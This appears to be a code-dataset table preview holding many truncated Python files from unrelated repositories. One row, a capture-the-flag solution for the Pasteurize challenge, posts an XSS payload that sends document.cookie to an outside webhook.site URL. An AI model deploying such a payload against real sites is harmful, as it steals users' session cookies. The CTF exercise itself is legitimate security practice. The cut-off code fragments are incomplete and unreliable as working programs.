hexsha stringlengths 40 40 | size int64 5 2.06M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 3 248 | max_stars_repo_name stringlengths 5 125 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 3 248 | max_issues_repo_name stringlengths 5 125 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 248 | max_forks_repo_name stringlengths 5 125 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 5 2.06M | avg_line_length float64 1 1.02M | max_line_length int64 3 1.03M | alphanum_fraction float64 0 1 | count_classes int64 0 1.6M | score_classes float64 0 1 | count_generators int64 0 651k | score_generators float64 0 1 | count_decorators int64 0 990k | score_decorators float64 0 1 | count_async_functions int64 0 235k | score_async_functions float64 0 1 | count_documentation int64 0 1.04M | score_documentation float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
b0c74b2e81942f6fdda3626e4e0173d3f260b19b | 1,328 | py | Python | client/query_modules/music_module.py | abhishekg785/hiro | 950224d07797740b8840316bb412c1827eab46f0 | [
"MIT"
] | 7 | 2017-04-12T10:58:42.000Z | 2021-10-03T18:07:29.000Z | client/query_modules/music_module.py | abhishekg785/hiro | 950224d07797740b8840316bb412c1827eab46f0 | [
"MIT"
] | null | null | null | client/query_modules/music_module.py | abhishekg785/hiro | 950224d07797740b8840316bb412c1827eab46f0 | [
"MIT"
] | 5 | 2017-07-06T12:28:10.000Z | 2020-01-07T19:45:25.000Z | # simply handles the reply for hello by the user
import re
import random
import os
import sys
import webbrowser
from random import randint
# getting the watson api functions here
PATH = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), os.pardir))
sys.path.append(PATH)
MUSIC_PATH = os.path.... | 30.181818 | 110 | 0.709337 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 483 | 0.363705 |
b0c77869671d10fbedbed340a7a7c9b4e8912459 | 2,993 | py | Python | ocdsapi_outlet/utils.py | openprocurement/ocdsapi_outlet | e5aab856fbb833d34c4d56831cad7c09d7719a5e | [
"Apache-2.0"
] | null | null | null | ocdsapi_outlet/utils.py | openprocurement/ocdsapi_outlet | e5aab856fbb833d34c4d56831cad7c09d7719a5e | [
"Apache-2.0"
] | 6 | 2019-12-26T16:43:14.000Z | 2022-03-21T22:16:25.000Z | ocdsapi_outlet/utils.py | openprocurement/ocdsapi_outlet | e5aab856fbb833d34c4d56831cad7c09d7719a5e | [
"Apache-2.0"
] | 1 | 2018-07-27T16:19:27.000Z | 2018-07-27T16:19:27.000Z | """ utils.py - helper functions """
import logging
import functools
import operator
from repoze.lru import lru_cache
from gevent import spawn
from gevent.subprocess import Popen, PIPE
try:
import boto3
except ImportError:
boto3 = None
def dump(app, logger):
"""
Run dump script as separate process
... | 25.364407 | 74 | 0.559973 | 0 | 0 | 0 | 0 | 158 | 0.05279 | 0 | 0 | 527 | 0.176078 |
b0c81b1e5cf0bc462adf9bdbb74fbefc166b797e | 264 | py | Python | apps/logger.py | dabble-of-devops-bioanalyze/single-cell-cloud-lab | 324bf936297b6a5bd23d4f7e1cf3cbd6b31ba495 | [
"Apache-2.0"
] | null | null | null | apps/logger.py | dabble-of-devops-bioanalyze/single-cell-cloud-lab | 324bf936297b6a5bd23d4f7e1cf3cbd6b31ba495 | [
"Apache-2.0"
] | null | null | null | apps/logger.py | dabble-of-devops-bioanalyze/single-cell-cloud-lab | 324bf936297b6a5bd23d4f7e1cf3cbd6b31ba495 | [
"Apache-2.0"
] | null | null | null | import colorlog
handler = colorlog.StreamHandler()
handler.setFormatter(
colorlog.ColoredFormatter(
"%(log_color)s%(levelname)s:%(name)s:%(filename)s:%(funcName)s: %(message)s"
)
)
logger = colorlog.getLogger(__name__)
logger.addHandler(handler)
| 22 | 84 | 0.719697 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 76 | 0.287879 |
b0c97b770b216db5c6e4a8a50cbc39cc9f11e3a2 | 1,467 | py | Python | venv/lib/python2.7/site-packages/daemon/pidfile.py | mutaihillary/mycalculator | 55685dd7c968861f18ae0701129f5af2bc682d67 | [
"MIT"
] | null | null | null | venv/lib/python2.7/site-packages/daemon/pidfile.py | mutaihillary/mycalculator | 55685dd7c968861f18ae0701129f5af2bc682d67 | [
"MIT"
] | 7 | 2021-02-08T20:22:15.000Z | 2022-03-11T23:19:41.000Z | venv/lib/python2.7/site-packages/daemon/pidfile.py | mutaihillary/mycalculator | 55685dd7c968861f18ae0701129f5af2bc682d67 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# daemon/pidfile.py
# Part of python-daemon, an implementation of PEP 3143.
#
# Copyright © 2008–2010 Ben Finney <ben+python@benfinney.id.au>
#
# This is free software: you may copy, modify, and/or distribute this work
# under the terms of the Python Software Foundation License, version 2 or
# ... | 34.116279 | 75 | 0.691888 | 863 | 0.587075 | 0 | 0 | 0 | 0 | 0 | 0 | 909 | 0.618367 |
b0c9cd685e3c553d9d38e5a73ed8bdcbc7f01131 | 11,258 | py | Python | zazi/apps/mpesa/utils/transaction.py | felixcheruiyot/zazi-core-banking | 0a2dac42235adcac3cf8c114961e407f54844223 | [
"Apache-2.0"
] | null | null | null | zazi/apps/mpesa/utils/transaction.py | felixcheruiyot/zazi-core-banking | 0a2dac42235adcac3cf8c114961e407f54844223 | [
"Apache-2.0"
] | 1 | 2021-08-20T06:41:57.000Z | 2021-08-20T06:41:57.000Z | zazi/apps/mpesa/utils/transaction.py | felixcheruiyot/zazi-core-banking | 0a2dac42235adcac3cf8c114961e407f54844223 | [
"Apache-2.0"
] | null | null | null | import logging
from django.db import transaction as db_transaction
from django.conf import settings
from django.utils import timezone
from django.urls import reverse_lazy
from zazi.core.utils import get_absolute_url, get_encrypted_text
from .. import api
from ..models import (
MpesaAccount,
MpesaAccountBala... | 38.162712 | 119 | 0.669213 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,134 | 0.100728 |
b0cb0c2e438281324253c5fc9aef08d9586a6478 | 297 | py | Python | gCTF/gctf20/Pasteurize/asd.py | shagunattri/ctfwriteups | 02654f9feeef43aa28c321a7bd9c13a39be8f137 | [
"MIT"
] | 1 | 2020-06-11T18:04:22.000Z | 2020-06-11T18:04:22.000Z | gCTF/gctf20/Pasteurize/asd.py | shagunattri/MemeBoard | 02654f9feeef43aa28c321a7bd9c13a39be8f137 | [
"MIT"
] | 1 | 2021-03-22T09:51:13.000Z | 2021-03-22T09:51:13.000Z | gCTF/gctf20/Pasteurize/asd.py | shagunattri/MemeBoard | 02654f9feeef43aa28c321a7bd9c13a39be8f137 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
#JOHN Hammond method result
import requests
url = "https://pasteurize.web.ctfcompetition.com/"
req = requests.post(url,data = {
"content[]": ";new Image().src='https://webhook.site/8db05257-6ad1-44a9-979a-574c1caca5d6?asdf='+document.cookie//"
})
print(req.text)
| 18.5625 | 119 | 0.703704 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 206 | 0.693603 |
b0cb84a469618ec441c72fc62b1918615cc6f4ec | 7,437 | py | Python | src/test/py/ltprg/results/plot.py | forkunited/ltprg | 4e40d3571d229023df0f845c68643024e04bc202 | [
"MIT"
] | 11 | 2017-08-03T15:42:19.000Z | 2021-02-04T12:43:35.000Z | src/test/py/ltprg/results/plot.py | forkunited/ltprg | 4e40d3571d229023df0f845c68643024e04bc202 | [
"MIT"
] | null | null | null | src/test/py/ltprg/results/plot.py | forkunited/ltprg | 4e40d3571d229023df0f845c68643024e04bc202 | [
"MIT"
] | 1 | 2021-02-04T12:43:37.000Z | 2021-02-04T12:43:37.000Z | #!/usr/bin/python
#
# Usage: plot.py [input_file] [xlabel] [ylabel] [x] [y] [where] [where_values] [groupby]
#
# input_file: Input tsv file where the first row contains column names
# xlabel: Label for plot horizontal axis
# ylabel: Label for plot vertical axis
# x: Name of column to plot on horizontal axis
# y: Name o... | 33.804545 | 202 | 0.600376 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,715 | 0.230604 |
b0cb8d6fd396de4dcda21996632c248c8e21dab4 | 320 | py | Python | version.py | ERICMIAO0817/knlp | 56052e49be87d604839d8f81a7295c73a5ac62cf | [
"MIT"
] | 19 | 2021-03-17T02:15:18.000Z | 2021-12-14T04:46:21.000Z | version.py | ERICMIAO0817/knlp | 56052e49be87d604839d8f81a7295c73a5ac62cf | [
"MIT"
] | 4 | 2022-03-08T16:28:18.000Z | 2022-03-28T15:11:11.000Z | version.py | ERICMIAO0817/knlp | 56052e49be87d604839d8f81a7295c73a5ac62cf | [
"MIT"
] | 7 | 2021-03-17T02:15:23.000Z | 2022-03-17T15:41:04.000Z | #!/usr/bin/python
# -*- coding:UTF-8 -*-
# -----------------------------------------------------------------------#
# File Name: version.py
# Author: Junyi Li
# Mail: 4ljy@163.com
# Created Time: 2021-01-27
# Description:
# -----------------------------------------------------------------------#
__version__ = "0.2.2"
| 26.666667 | 74 | 0.34375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 295 | 0.921875 |
b0ccf531cfab6c9c4a503a8b46e7c6adcacdc203 | 1,336 | py | Python | tests/base.py | abdghani995/docker-falcon | 6e552a23c3dcc7210083cbe049a7ffbd13a888b1 | [
"MIT"
] | 19 | 2019-12-14T20:21:03.000Z | 2021-08-11T07:38:42.000Z | tests/base.py | abdghani995/docker-falcon | 6e552a23c3dcc7210083cbe049a7ffbd13a888b1 | [
"MIT"
] | 2 | 2018-05-14T23:05:11.000Z | 2021-11-21T19:32:08.000Z | tests/base.py | vvitsenets/VICTORIA | 843ad6cc1ecec8b0fb424263de37691454cd2b4e | [
"MIT"
] | 4 | 2019-12-15T05:59:57.000Z | 2022-03-05T08:03:04.000Z | import unittest
import falcon
import falcon.testing
import app.util.json as json
from app import create_app
class TestBase(unittest.TestCase):
def setUp(self):
self.app = create_app()
self.srmock = falcon.testing.StartResponseMock()
def simulate_request(self, path, *args, **kwargs):
... | 29.688889 | 66 | 0.627246 | 1,223 | 0.915419 | 0 | 0 | 0 | 0 | 0 | 0 | 92 | 0.068862 |
b0cef7efc960a0a20a9e808c895f9ff5b72321b6 | 1,903 | py | Python | src/zojax/portlet/browser/portlets.py | Zojax/zojax.portlet | f442ae53c400cd39e0c593138b83eeea0d13787e | [
"ZPL-2.1"
] | null | null | null | src/zojax/portlet/browser/portlets.py | Zojax/zojax.portlet | f442ae53c400cd39e0c593138b83eeea0d13787e | [
"ZPL-2.1"
] | null | null | null | src/zojax/portlet/browser/portlets.py | Zojax/zojax.portlet | f442ae53c400cd39e0c593138b83eeea0d13787e | [
"ZPL-2.1"
] | null | null | null | ##############################################################################
#
# Copyright (c) 2009 Zope Foundation and Contributors.
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.
# THIS SOF... | 33.982143 | 78 | 0.683132 | 765 | 0.401997 | 0 | 0 | 0 | 0 | 0 | 0 | 646 | 0.339464 |
b0d04d598a11b7e88dbf9f7dcbe48c016cf93d7f | 2,280 | py | Python | recsystem/embedder/post_embed.py | DOREMUS-ANR/recommender | 027e0dcb3639f03204c67777e2e10aac8505a70a | [
"MIT"
] | 2 | 2017-03-28T15:48:18.000Z | 2018-09-06T08:50:34.000Z | recsystem/embedder/post_embed.py | DOREMUS-ANR/recommender | 027e0dcb3639f03204c67777e2e10aac8505a70a | [
"MIT"
] | null | null | null | recsystem/embedder/post_embed.py | DOREMUS-ANR/recommender | 027e0dcb3639f03204c67777e2e10aac8505a70a | [
"MIT"
] | null | null | null | import os
import codecs
from shutil import copyfile
from gensim.models import KeyedVectors
from SPARQLWrapper import SPARQLWrapper, JSON
def ns_filter(embeddings_file, namespaces):
with open(embeddings_file) as file:
raw_embs = [l.strip() for l in file]
def belong_to_category(x):
for prefix i... | 31.232877 | 117 | 0.658333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 442 | 0.19386 |
b0d08b7dcc6e66d8aad9485ee7da2eca8c60ae84 | 188 | py | Python | raster/__init__.py | manfre-lorson/MacPyver | 62503dae69705a25202f24615e0c7cc88e10d753 | [
"Apache-2.0"
] | 1 | 2021-11-03T01:49:47.000Z | 2021-11-03T01:49:47.000Z | raster/__init__.py | manfre-lorson/MacPyver | 62503dae69705a25202f24615e0c7cc88e10d753 | [
"Apache-2.0"
] | null | null | null | raster/__init__.py | manfre-lorson/MacPyver | 62503dae69705a25202f24615e0c7cc88e10d753 | [
"Apache-2.0"
] | 1 | 2018-07-11T09:23:45.000Z | 2018-07-11T09:23:45.000Z |
try:
from . import tiff
print("full tiff support")
except:
print("no tiff support")
try:
import hdf5
print("full hdf5 support")
except:
print("no hdf5 support")
| 13.428571 | 30 | 0.62766 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 72 | 0.382979 |
b0d2ea6ce566b3bde93b03ec4fb9ce3e2422e739 | 6,292 | py | Python | clustering/track_visualization.py | XiaoSanGit/wda_tracker | b68ec0edb9daa6cc495815ba9ca549b36eec0369 | [
"MIT"
] | 24 | 2020-06-23T11:17:42.000Z | 2022-03-29T00:38:09.000Z | clustering/track_visualization.py | XiaoSanGit/wda_tracker | b68ec0edb9daa6cc495815ba9ca549b36eec0369 | [
"MIT"
] | 13 | 2020-07-07T03:59:02.000Z | 2022-03-30T04:28:06.000Z | clustering/track_visualization.py | XiaoSanGit/wda_tracker | b68ec0edb9daa6cc495815ba9ca549b36eec0369 | [
"MIT"
] | 9 | 2021-02-14T07:11:05.000Z | 2021-12-23T12:47:08.000Z |
import os
from tqdm import tqdm
import pandas as pd
from utilities.helper import get_bbox_middle_pos,drawBoundingBox
from clustering.clustering_utils import get_person_id_to_track,get_groundtruth_person_id_to_track
import cv2
from utilities.helper import *
from utilities.pandas_loader import load_csv
class Track_Visu... | 33.827957 | 139 | 0.665607 | 4,766 | 0.75747 | 0 | 0 | 0 | 0 | 0 | 0 | 774 | 0.123013 |
b0d30d1f5e1fa7c7ff3fa8d3f5343770ef436fc7 | 445 | py | Python | Src/ZenCoding/zencoding/coda.py | JetBrains/ReSharperPowerToys | 352d61acba98d71b4c7a63a1def9fe550b7a0e57 | [
"Apache-2.0"
] | 18 | 2015-01-22T18:18:17.000Z | 2021-11-08T09:49:53.000Z | Src/ZenCoding/zencoding/coda.py | JetBrains/ReSharperPowerToys | 352d61acba98d71b4c7a63a1def9fe550b7a0e57 | [
"Apache-2.0"
] | null | null | null | Src/ZenCoding/zencoding/coda.py | JetBrains/ReSharperPowerToys | 352d61acba98d71b4c7a63a1def9fe550b7a0e57 | [
"Apache-2.0"
] | 8 | 2015-05-15T19:34:04.000Z | 2022-03-19T07:00:15.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
Coda plug-in
Created on Apr 20, 2009
@author: sergey
'''
import os
from zencoding import zen_core
from zencoding.settings import zen_settings
zen_core.newline = os.getenv('CODA_LINE_ENDING', zen_core.newline)
zen_core.insertion_point = '$$IP$$'
cur_line = 'hello wor... | 19.347826 | 66 | 0.74382 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 150 | 0.337079 |
b0d43b5a5e1054b6e91b5c04e0aefe730f1c03da | 958 | py | Python | Scripts/simulation/world/rentable_lot_tuning.py | velocist/TS4CheatsInfo | b59ea7e5f4bd01d3b3bd7603843d525a9c179867 | [
"Apache-2.0"
] | null | null | null | Scripts/simulation/world/rentable_lot_tuning.py | velocist/TS4CheatsInfo | b59ea7e5f4bd01d3b3bd7603843d525a9c179867 | [
"Apache-2.0"
] | null | null | null | Scripts/simulation/world/rentable_lot_tuning.py | velocist/TS4CheatsInfo | b59ea7e5f4bd01d3b3bd7603843d525a9c179867 | [
"Apache-2.0"
] | null | null | null | # uncompyle6 version 3.7.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.9 (tags/v3.7.9:13c94747c7, Aug 17 2020, 18:58:18) [MSC v.1900 64 bit (AMD64)]
# Embedded file name: T:\InGame\Gameplay\Scripts\Server\world\rentable_lot_tuning.py
# Compiled at: 2014-09-09 00:07:16
# Size of source mod 2**32: 925 byte... | 50.421053 | 116 | 0.685804 | 530 | 0.553236 | 0 | 0 | 0 | 0 | 0 | 0 | 547 | 0.570981 |
b0d58a0cf4141bba29b28d7f0ec53b0cea18f50b | 7,099 | py | Python | grin-py/utils/MWGP_earningsEstimate.py | JPaulMora/grin-pool | c980fdbcae4edeaa661d36d5b6da6f7a49beed05 | [
"Apache-2.0"
] | null | null | null | grin-py/utils/MWGP_earningsEstimate.py | JPaulMora/grin-pool | c980fdbcae4edeaa661d36d5b6da6f7a49beed05 | [
"Apache-2.0"
] | null | null | null | grin-py/utils/MWGP_earningsEstimate.py | JPaulMora/grin-pool | c980fdbcae4edeaa661d36d5b6da6f7a49beed05 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python3
# Copyright 2018 Blade M. Doyle
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... | 35.318408 | 162 | 0.646993 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,695 | 0.379631 |
b0d7ebc0b913cd1eef91933fd5bfa8848faaf124 | 10,700 | py | Python | cpd_analysis.py | jfmalloy1/Patents | 734e62497acfbd9be42980b310379979415ab924 | [
"MIT"
] | null | null | null | cpd_analysis.py | jfmalloy1/Patents | 734e62497acfbd9be42980b310379979415ab924 | [
"MIT"
] | null | null | null | cpd_analysis.py | jfmalloy1/Patents | 734e62497acfbd9be42980b310379979415ab924 | [
"MIT"
] | null | null | null | # import igraph as ig
# import numpy as np
import pickle
import pandas as pd
from tqdm import tqdm
import os
import heapq
import scipy.stats as stats
from random import sample
def build_cpd_df(fp):
""" Takes 29 separate compound data files and combines them into a single pandas dataframe for ease of access
A... | 36.148649 | 113 | 0.622056 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5,828 | 0.544673 |
b0d801bb287e5fc7e3b701b27f659bf6cdfd48e3 | 303 | py | Python | src/tests/pyfrc_test.py | SpookyWoogin/robot2018 | a8ddf6a64b883904b15031e0ae13b2056faed4f5 | [
"MIT"
] | 1 | 2018-10-24T21:43:00.000Z | 2018-10-24T21:43:00.000Z | src/tests/pyfrc_test.py | SpookyWoogin/robot2018 | a8ddf6a64b883904b15031e0ae13b2056faed4f5 | [
"MIT"
] | 1 | 2018-03-10T01:25:47.000Z | 2018-03-10T03:33:36.000Z | src/tests/pyfrc_test.py | SpookyWoogin/robot2018 | a8ddf6a64b883904b15031e0ae13b2056faed4f5 | [
"MIT"
] | 6 | 2018-01-13T17:54:31.000Z | 2018-02-13T23:46:50.000Z | def test_drivetrain_nt(Notifier):
import networktables
from robot import Rockslide
robot = Rockslide()
robot.robotInit()
drivetrain = robot.drivetrain
drivetrain.periodic()
assert networktables.NetworkTables.getTable("/Drivetrain/Left").getNumber("Position", None) == 0.0
| 25.25 | 102 | 0.726073 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 28 | 0.092409 |
b0d95d877dbc18f3a49976b9ba5deae89d43a171 | 350 | py | Python | finished/python_principles/05_type_check.py | UltiRequiem/daily-python-practice | 31f72c45378be90b8fcadd30d7042819ee551a17 | [
"MIT"
] | 8 | 2021-05-29T23:30:12.000Z | 2021-09-24T03:25:44.000Z | finished/python_principles/05_type_check.py | UltiRequiem/daily-python-practice | 31f72c45378be90b8fcadd30d7042819ee551a17 | [
"MIT"
] | null | null | null | finished/python_principles/05_type_check.py | UltiRequiem/daily-python-practice | 31f72c45378be90b8fcadd30d7042819ee551a17 | [
"MIT"
] | 6 | 2021-06-02T14:20:24.000Z | 2021-08-19T00:49:26.000Z | """
Your function should return True if both parameters are integers, and False otherwise.
"""
def only_ints(a, b) -> bool:
return type(a) == int and type(b) == int
def tests() -> None:
print(only_ints(4, 8))
print(only_ints(4, "u"))
print(only_ints("a", 4))
print(only_ints(4, True))
if __name... | 18.421053 | 86 | 0.62 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 110 | 0.314286 |
b0da89a6bb254fa22755c06a1a618c46fe33ed81 | 3,775 | py | Python | media/limited_series.py | FellowHashbrown/MediaQueue | 0844649709698c66b7ed14e70436b3830ab18627 | [
"MIT"
] | null | null | null | media/limited_series.py | FellowHashbrown/MediaQueue | 0844649709698c66b7ed14e70436b3830ab18627 | [
"MIT"
] | null | null | null | media/limited_series.py | FellowHashbrown/MediaQueue | 0844649709698c66b7ed14e70436b3830ab18627 | [
"MIT"
] | null | null | null | import os
from json import dump
from typing import List
from media import Episode, Show
from options import options
class LimitedSeries(Show):
"""A LimitedSeries is a Show that has only 1 Season of Episodes.
In this, only the Episodes need to be specified
:param name: The name of this LimitedSeries
... | 45.481928 | 125 | 0.625166 | 3,655 | 0.968212 | 0 | 0 | 0 | 0 | 0 | 0 | 1,546 | 0.409536 |
b0daa63a5af9ec548e408e77f43dd85ab4843906 | 462 | py | Python | __findModuleLocations.py | simdevex/01.Basics | cf4f372384e66f4b26e4887d2f5d815a1f8e929c | [
"MIT"
] | null | null | null | __findModuleLocations.py | simdevex/01.Basics | cf4f372384e66f4b26e4887d2f5d815a1f8e929c | [
"MIT"
] | null | null | null | __findModuleLocations.py | simdevex/01.Basics | cf4f372384e66f4b26e4887d2f5d815a1f8e929c | [
"MIT"
] | null | null | null | '''
Python program to find the location of Python modulesources
'''
#Location of Python module sources:
import imp
print("Location of Python os module sources:")
print(imp.find_module('os'))
print("\nLocation of Python sys module sources:")
print(imp.find_module('datetime'))
#List of directories of specific module:
i... | 24.315789 | 59 | 0.75974 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 312 | 0.675325 |
b0dc67e2fb068fd1e2da407f360e7696247d97ff | 8,104 | py | Python | api.py | gitroulette/gitroulette | 0c53cdf843b202efa7d0e7a3fcbcb0a7bc7f0b0b | [
"Apache-2.0"
] | null | null | null | api.py | gitroulette/gitroulette | 0c53cdf843b202efa7d0e7a3fcbcb0a7bc7f0b0b | [
"Apache-2.0"
] | null | null | null | api.py | gitroulette/gitroulette | 0c53cdf843b202efa7d0e7a3fcbcb0a7bc7f0b0b | [
"Apache-2.0"
] | null | null | null | import json
import random
from flask import Blueprint
from flask import request
from flask import session
from sqlalchemy import and_
from sqlalchemy import or_
from urlparse import urlparse
# from flask import current_app
from gitRoulette import auth
from gitRoulette import models
from gitRoulette.utils import reque... | 32.15873 | 101 | 0.659057 | 0 | 0 | 0 | 0 | 7,686 | 0.948421 | 0 | 0 | 1,690 | 0.208539 |
b0ddf344239a48edf5e77538da1c1fa89461c624 | 1,556 | py | Python | translator/logger.py | dNationCloud/jsonnet-translator | 94d9d1b56d21a357fcab8adc555aa4630234d19c | [
"Apache-2.0"
] | 7 | 2021-04-14T11:30:03.000Z | 2021-05-17T11:26:50.000Z | translator/logger.py | dNationCloud/jsonnet-translator | 94d9d1b56d21a357fcab8adc555aa4630234d19c | [
"Apache-2.0"
] | 10 | 2021-01-14T07:18:55.000Z | 2021-10-01T12:56:39.000Z | translator/logger.py | dNationCloud/kubernetes-jsonnet-translator | 94d9d1b56d21a357fcab8adc555aa4630234d19c | [
"Apache-2.0"
] | null | null | null | #
# Copyright 2020 The dNation Jsonnet Translator Authors. All Rights Reserved.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requi... | 27.785714 | 77 | 0.737147 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 869 | 0.558483 |
b0de787d9d796dd2d84865af0e45d3952304b306 | 5,663 | py | Python | models/test2/scripts/lmdb_data.py | Mehuli-Ruh11/Flownet_v1 | 17d517416a24f396a21e36e35e73abeb857451d2 | [
"BSD-2-Clause"
] | 130 | 2016-10-28T18:37:14.000Z | 2022-03-29T03:24:31.000Z | models/test2/scripts/lmdb_data.py | Mehuli-Ruh11/Flownet_v1 | 17d517416a24f396a21e36e35e73abeb857451d2 | [
"BSD-2-Clause"
] | 34 | 2016-09-30T14:35:11.000Z | 2019-01-06T12:02:17.000Z | models/test2/scripts/lmdb_data.py | Mehuli-Ruh11/Flownet_v1 | 17d517416a24f396a21e36e35e73abeb857451d2 | [
"BSD-2-Clause"
] | 73 | 2016-06-24T10:51:51.000Z | 2020-12-22T11:21:40.000Z | import numpy as np
import caffe
import flowlib as fl
import os
import lmdb
from PIL import Image
VERBOSE = 0
SUBPIXELFACTOR = 4
MIN_FLOW = -4.18505
THRESHOLD = 1e8
PATCH_SIZE = 'FULL'
def data2lmdb():
# define image and ground truth file
train_imagefile1 = 'data/Urban3/frame10.png' # specify 1st image file
train_i... | 27.357488 | 80 | 0.707046 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,464 | 0.25852 |
b0df7d5ad0499addaf0ae1570bc27728fffba61b | 778 | py | Python | configs/_base_/det_datasets/pool_icdar2013_icdar2015.py | andrgje/mmocr | 26963dcf56b6cc842d097617a9dc1688b01fcaed | [
"Apache-2.0"
] | null | null | null | configs/_base_/det_datasets/pool_icdar2013_icdar2015.py | andrgje/mmocr | 26963dcf56b6cc842d097617a9dc1688b01fcaed | [
"Apache-2.0"
] | null | null | null | configs/_base_/det_datasets/pool_icdar2013_icdar2015.py | andrgje/mmocr | 26963dcf56b6cc842d097617a9dc1688b01fcaed | [
"Apache-2.0"
] | null | null | null | dataset_type1 = 'IcdarDataset'
data_root1 = 'data/icdar15'
train1 = dict(
type=dataset_type1,
ann_file=f'{data_root1}/instances_training.json',
img_prefix=f'{data_root1}/imgs',
pipeline=None)
test1 = dict(
type=dataset_type1,
ann_file=f'{data_root1}/instances_validation.json',
img_prefix=f... | 22.882353 | 55 | 0.713368 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 296 | 0.380463 |
b0e1dfb1774454a45bec65b7f4f0e603d7f1da9e | 13,580 | py | Python | lib/Protocol/EmNetconfProtocol.py | multi-service-fabric/element-manager | e550d1b5ec9419f1fb3eb6e058ce46b57c92ee2f | [
"Apache-2.0"
] | null | null | null | lib/Protocol/EmNetconfProtocol.py | multi-service-fabric/element-manager | e550d1b5ec9419f1fb3eb6e058ce46b57c92ee2f | [
"Apache-2.0"
] | null | null | null | lib/Protocol/EmNetconfProtocol.py | multi-service-fabric/element-manager | e550d1b5ec9419f1fb3eb6e058ce46b57c92ee2f | [
"Apache-2.0"
] | 1 | 2020-04-02T01:17:43.000Z | 2020-04-02T01:17:43.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright(c) 2019 Nippon Telegraph and Telephone Corporation
# Filename: EmNetconfProtocol.py
'''
Protocol processing section (Netconf)
'''
import traceback
import time
import json
from ncclient import manager
from ncclient import operations
import GlobalModul... | 37.513812 | 80 | 0.546318 | 13,142 | 0.967747 | 0 | 0 | 12,915 | 0.951031 | 0 | 0 | 4,838 | 0.356259 |
b0e21640f79315d5678d2b1eb1562ded16d33050 | 1,935 | py | Python | policy/openbot/callbacks.py | januxnet/OpenBot | 04768161a552281e1e14acde98589a64628b86c7 | [
"MIT"
] | 1,971 | 2020-08-24T22:24:24.000Z | 2021-07-24T18:43:39.000Z | policy/openbot/callbacks.py | FlorentGuinier/OpenBot | 087b1c89fd61ee5e644a0b042c9e5f25540caeae | [
"MIT"
] | 145 | 2020-08-26T23:00:28.000Z | 2021-07-26T22:00:06.000Z | policy/openbot/callbacks.py | FlorentGuinier/OpenBot | 087b1c89fd61ee5e644a0b042c9e5f25540caeae | [
"MIT"
] | 342 | 2020-08-26T10:39:43.000Z | 2021-07-26T12:12:10.000Z | # Created by Matthias Mueller - Intel Intelligent Systems Lab - 2020
import os
import tensorflow as tf
def checkpoint_cb(checkpoint_path, steps_per_epoch=-1, num_epochs=10):
# Create a callback that saves the model's weights every epochs
checkpoint_callback = tf.keras.callbacks.ModelCheckpoint(
filep... | 26.148649 | 88 | 0.67907 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 268 | 0.138501 |
b0e2cf5bd2ba70f93247b07879264830fda0661a | 856 | py | Python | generate_landmarks.py | PandaWhoCodes/chutya_rating | 88f73e37c517c1d68ebf518b40cf93667f39991b | [
"MIT"
] | null | null | null | generate_landmarks.py | PandaWhoCodes/chutya_rating | 88f73e37c517c1d68ebf518b40cf93667f39991b | [
"MIT"
] | null | null | null | generate_landmarks.py | PandaWhoCodes/chutya_rating | 88f73e37c517c1d68ebf518b40cf93667f39991b | [
"MIT"
] | null | null | null | import sys
import os
import dlib
import glob
from skimage import io
predictor_path = "data/shape_predictor_68_face_landmarks.dat"
faces_folder_path = "data/pics"
detector = dlib.get_frontal_face_detector()
predictor = dlib.shape_predictor(predictor_path)
def sortKeyFunc(s):
return int(os.path.basename(s)[:-4])
